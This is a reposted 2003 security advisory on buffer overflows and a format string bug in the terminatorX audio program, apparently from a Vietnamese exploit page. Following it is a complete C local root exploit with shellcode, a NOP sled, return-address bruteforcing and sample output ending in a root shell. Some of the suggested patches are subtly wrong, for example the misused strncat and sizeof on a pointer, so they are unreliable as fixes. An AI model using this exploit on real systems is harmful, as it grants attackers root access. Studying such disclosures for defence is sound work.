Terminatorx Exploitable

trang này đã được đọc lần

0x333 OUTSIDERS SECURITY LABS -
- www.0x333.org -


~~~~~~~~~ contents ~~~~~~~~~

0x0 Info
0x1 Description
0x2 Stack Overflow in Switch (1)
0x3 Stack Overflow in Switch (2)
0x4 Stack Overflow in $LADSPA_PATH
0x5 Format String Bug in tx_note()
0x6 Solutions
0x7 Vendor Contact



[0x0 Info]

author : c0wboy
mail : c0wboy@tiscali.it
date : 7 November 2003
advisory : outsiders-terminatorX-001.txt
vendor : http://terminatorx.cx/
category : stack overflow, format bug
platform : linux, unix


[0x1 Description]

From terminatorX's offcial web page : "terminatorX is a realtime audio synthesizer that allows
you to "scratch" on digitally sampled audio data (*.wav, *.au, *.ogg, *.mp3, etc.)" . In Last
version (3.8.1) there are still lots of bugs, that could be used by user to execute arbitrary
codes with root privileges.


[0x2 Stack Overflow in Switch (1)]

It is possible to overflow a static buffer, by passing a long string after switch "-f"
(or "--file"). In function parse_args() (src/main.cc) we find the follow piece of code:

if ((strcmp(argv[i], "-f") == 0) || (strcmp(argv[i], "--file") == 0)) {
++i;
globals.startup_set = argv[i];

The variable "globals.startup_set" will contain our (long) string. After this the variable
will be passed to function load_tt_part() (src/tX_mastergui.cc) which is called by main():

int main(int argc, char **argv)
{
...
if (globals.startup_set) {
while (gtk_events_pending()) gtk_main_iteration(); gdk_flush();
tX_cursor::set_cursor(tX_cursor::WAIT_CURSOR);
load_tt_part(globals.startup_set);
...

/* src/tX_mastergui.cc */
void load_tt_part(char * buffer)
{
char idbuff[256];
char wbuf[PATH_MAX];
...
strcpy(globals.tables_filename, buffer);
...
strcpy(idbuff, "Failed to access file: \"");
strcat(idbuff, globals.tables_filename);
...

In load_tt_part() our string will first be copied in "globals.tables_filename", that will
overflow the static buffer idbuff[256]. User could overwrite eip and executes arbitrary code.


[0x3 Stack Overflow in Switch (2)]

This case is similar to the first one. Here we can overflow a static buffer by passing a
long string after option "-r" (or "--rc-file"). In function parse_args() (src/main.cc) we
find the vulnerable code:


if ((strcmp(argv[i], "-r") == 0) || (strcmp(argv[i], "--rc-file") == 0)) {
...
globals.alternate_rc = argv[i];

In function get_rc_name() (src/tX_global.c) there is an unchecked strcpy() that will overflow
a static buffer (passed to this function as argument) with the content of "globals.alternate_rc"
variable:

void get_rc_name(char *buffer)
{
strcpy(buffer,"");
if (globals.alternate_rc) {
strcpy(buffer, globals.alternate_rc);
...

This bug can be used to overwrite the eip, and execute arbitrary code.


[0x4 Stack Overflow in $LADSPA_PATH]

In file tX_ladspa.cc, it's possible overflow a static buffer by setting a long "$LADSPA_PATH"
environment variable. As we had before, there is an unchecked strcpy(), in this case a long string
will overflow "ladspa_path[PATH_MAX]":

void LADSPA_Plugin :: init ()
{
char *ladspa_path_ptr;
char ladspa_path[PATH_MAX];
...

/* Finding the LADSPA Path */
ladspa_path_ptr=getenv("LADSPA_PATH");
...
else strcpy(ladspa_path, ladspa_path_ptr);
...

By overflowing "ladspa_path[PATH_MAX]", eip will be overwritten, allowing the execution of
arbitrary code.


[0x5 Format String Bug in tx_note()]

There is a format string bug in function tx_note(), that can be found in src/tX_mastergui.cc. The
problem exists in function "gtk_message_dialog_new()". User can control the contents of "message"
variable, and set it to special format string parameters (for example lots of '%x'). Here's the
vulnerable code :

void tx_note(const char *message, bool isError)
{
char buffer[4096]="terminatorX ";
if (isError) {
strcat(buffer, "note:\n\n");
} else {
strcat(buffer, "error:\n\n");
}

strcat(buffer, message);
GtkWidget *dialog=gtk_message_dialog_new(GTK_WINDOW(main_window),
GTK_DIALOG_DESTROY_WITH_PARENT,
isError ? GTK_MESSAGE_ERROR : GTK_MESSAGE_INFO, GTK_BUTTONS_CLOSE, message);
gtk_dialog_run(GTK_DIALOG(dialog)); /* |_____ fmt bug */
gtk_widget_destroy(dialog);
}

It is possible to exploit this bug, by passing a crafted string after witch "-f" (or "--file"). TerminatorX
will be run, but it will display a warning-windows showing memory addresses. There will be a segfault.

[c0wboy@0x333 src]$ ./terminatorX -f %x%x%x%x%x%x%n
terminatorX Release 3.81 - Copyright © 1999-2003 by Alexander Knig
terminatorX comes with ABSOLUTELY NO WARRANTY - for details read the license.
* tX_error: set_capabilities(): failed to set caps: Operation not permitted.
+ tX_warning: engine_thread_entry(): can't set SCHED_FIFO -> lacking capabilities.
+ tX_warning: engine_thread_entry() - engine has no realtime priority scheduling.
+ tX_warning: LADSPA_PATH not set. Trying /usr/lib/ladspa:/usr/local/lib/ladspa
* tX_error: tX: Error: couldn't access directory "/usr/lib/ladspa".
+ tX_warning: Plugin "Stereo Amplifier" disabled. Not a 1-in/1-out plugin.
+ tX_warning: Plugin "White Noise Source" disabled. Not a 1-in/1-out plugin.
+ tX_warning: Plugin "Sine Oscillator (Freq:audio, Amp:audio)" disabled. Not a 1-in/1-out plugin.
+ tX_warning: Plugin "Sine Oscillator (Freq:control, Amp:control)" disabled. Not a 1-in/1-out plugin.
warning: failed to load external entity "%25x%25x%25x%25x%25x%25x%25n"
Segmentation fault
[c0wboy@0x333 src]$

**NOTE** : There are lots of syntax-wrong gtk_message_dialog_new(), in src/tX_mastergui.cc file.


[0x6 Solutions]

0x1 (switch "-f"):

/* src/tX_mastergui.cc */
void load_tt_part(char * buffer)
{
char idbuff[256];
char wbuf[PATH_MAX];
xmlDocPtr doc;
...
if (strlen(idbuff) + strlen(buffer) > 256-strlen("Failed to access file: \"")-strlen("\""))
return;
else
strcpy(globals.tables_filename, buffer);
...

This will correctly check the "idbuff" lenght.


0x2 (switch "-r"):

void get_rc_name(char *buffer)
{
strcpy(buffer,"");
if (globals.alternate_rc && (strlen(globals.alternate_rc) < sizeof(buffer)-1) ) { /* bof fixed */
strcpy(buffer, globals.alternate_rc);
...

0x3 ($ env):

The program already use a funtion to check the environment variables leghnt (checkenv()).
Just us it in main() also with $LADSPA_PATH.


0x4 (fmt bug):

void tx_note(const char *message, bool isError)
{
char buffer[4096]="terminatorX ";
if (isError) {
strcat(buffer, "note:\n\n");
} else {
strcat(buffer, "error:\n\n");
}

/* - */ strcat(buffer, message);
/* + */ strncat(buffer, sizeof(message), message); /* i don't like this strcat() ... */

GtkWidget *dialog=gtk_message_dialog_new(GTK_WINDOW(main_window), GTK_DIALOG_DESTROY_WITH_PARENT,
isError ? GTK_MESSAGE_ERROR : GTK_MESSAGE_INFO, GTK_BUTTONS_CLOSE, "%s", message); /* fmt bug fixed */
...


[0x7 Vendor Contact]

Vendor was informed about the bugs.

CODE khai thác :

/* TerminatorX V. <= 3.81 local root exploit by Li0n7
*
* Typical local stack-based overflow
*
* Bugs discovered by c0wboy (c0wboy@tiscali.it) from 0x333 (www.0x333.org)
*
* Related advisory: http://www.packetstormsecurity.nl/0311-advisories/outsiders-terminatorX-001.txt
*
* Visit us: www.ioc.fr.st
*
* Contact me Li0n7[at]voila[dot]fr
*
* Usage: ./terminatorX-exp [-r <RET>][-b [-s <STARTING_RET>]]
*
* -r <RET>: no bruteforcing, try to execute shellcode with <RET> as return address
* -b: enables bruteforcing
* -s: bruteforces by using return address from <STARTING_RET> to 0x00000000
*
* Example:
*
*root@li0n7:/tmp/test/exploits# ./terminatorX-exp -b
*
* exploit: terminatorX V. <= 3.81 local root exploit by Li0n7
* discoverer: c0wb0y (www.0x333.org)
* visit us: http://www.ioc.fr.st
* contact me: Li0n7[at]voila[dot]fr
* usage: ./xterminator2 [-r <RET>][-b [-s <STARTING_RET>]]
*
*[+] Starting bruteforcing...
*[+] Testing 0xbffff734...
*terminatorX Release 3.81 - Copyright (C) 1999-2003 by Alexander König *terminatorX comes with ABSOLUTELY NO WARRANTY - for details read the license. *... *[+] Testing 0xbffff66c... *terminatorX Release 3.81 - Copyright (C) 1999-2003 by Alexander König *terminatorX comes with ABSOLUTELY NO WARRANTY - for details read the license. *...
*tX: err: Error parsing terminatorXrc.
*tX: Failed loading terminatorXrc - trying to load old binary rc. *+ tX_warning: LADSPA_PATH not set. Trying /usr/lib/ladspa:/usr/local/lib/ladspa
** tX_error: tX: Error: couldn't access directory "/usr/lib/ladspa". *+ tX_warning: Plugin "Sine Oscillator (Freq:audio, Amp:audio)" disabled. Not a 1-in/1-out plugin. *+ tX_warning: Plugin "Sine Oscillator (Freq:control, Amp:control)" disabled. Not a 1-in/1-out plugin. *+ tX_warning: Plugin "Stereo Amplifier" disabled. Not a 1-in/1-out plugin. *+ tX_warning: Plugin "White Noise Source" disabled. Not a 1-in/1-out plugin.
*warning: failed to load external entity "%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%
90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%
90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%
90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%
90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%
90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%
90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%90%901%C0Ph//shh/bin%
89%E3PS%89%E1%99%B0%0B%CD%80l%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%
FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%
F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BFl%F6%FF%BF"
*
*** (terminatorX:3085): WARNING **: Invalid UTF8 string passed to pango_layout_set_text() *sh-2.05b# exit *exit *[+] Exited: shell's ret code = 0 *[+] Ret address found: 0xbffff66c
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <errno.h>

#define BSIZE 200
#define D_START 0xbffff734
#define PATH "/usr/local/bin/terminatorX"
#define RET 0xbffff69e

char shellcode[] "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char *buffer,*ptr;

void
checkme(char *buffer)
{
if(!buffer)
{
fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
exit(0);
}
return;
}


void
exec_vuln()
{
execl(PATH,PATH,"-f",buffer,NULL);
}


int
tease()
{
pid_t pid;
pid_t wpid;
int status;

pid = fork();

if ( pid == -1 ) {
fprintf(stderr, " [-] %s: Failed to fork()\n", strerror(errno));
exit(13);

} else if ( pid == 0 ) {

exec_vuln();

} else {

wpid = wait(&status);
if ( wpid == -1 ) {

fprintf(stderr,"[-] %s: wait()\n", strerror(errno));
return 1;

} else if ( wpid != pid )

abort();

else {

if ( WIFEXITED(status) ) {

printf("[+] Exited: shell's ret code = %d\n", WEXITSTATUS(status));
return WEXITSTATUS(status);

} else if ( WIFSIGNALED(status) ) {

return WTERMSIG(status);
} else {

fprintf(stderr, "[-] Stopped.\n");

}
}
}
return 1;
}


int
make_string(long ret_addr)
{
int i;
long ret,addr,*addr_ptr;

buffer = (char *)malloc(512);
if(!buffer)
{
fprintf(stderr,"[-] Can't allocate memory, exiting...\n");
exit(-1);
}

ret = ret_addr;

ptr = buffer;

memset(ptr,0x90,BSIZE-strlen(shellcode));
ptr += BSIZE-strlen(shellcode);

for(i=0;i<strlen(shellcode);i++)
*ptr++ = shellcode[i];

addr_ptr = (long *)ptr;
for(i=0;i<20;i++)
*(addr_ptr++) = ret;
ptr = (char *)addr_ptr;
*ptr = 0;
return 0;
}


int
bruteforce(long start)
{
int ret;
long i;

fprintf(stdout,"[+] Starting bruteforcing...\n");

for(i=start;i<0;i=i-50)
{
fprintf(stdout,"[+] Testing 0x%x...\n",i);
make_string(i);
ret=tease();
if(ret==0)
{
fprintf(stdout,"[+] Ret address found: 0x%x\n",i);
break;
}
}

return 0;
}

void
banner(char *argv0)
{
fprintf(stderr,"\n exploit: terminatorX V. <= 3.81 local root exploit by Li0n7\n");
fprintf(stderr," discoverer: c0wb0y (www.0x333.org)\n");
fprintf(stderr," visit us: http://www.ioc.fr.st\n");
fprintf(stderr," contact me: Li0n7[at]voila[dot]fr\n");
fprintf(stderr," usage: %s [-r <RET>][-b [-s <STARTING_RET>]]\n\n",argv0);
}

int
main(int argc,char *argv[])
{
char * option_list = "br:s:";
int option,brute = 0, opterr = 0;
long ret,start = D_START;

banner(argv[0]);
if (argc < 1) exit(-1);

while((option = getopt(argc,argv,option_list)) != -1)
switch(option)
{
case 'b':
brute = 1;
break;
case 'r':
ret = strtoul(optarg,NULL,0);
make_string(ret);
tease();
exit(0);
break;
case 's':
start = strtoul(optarg,NULL,0);
break;
case '?':
fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
banner(argv[0]);
exit(-1);
}

if(brute)
bruteforce(start);

return 0;
}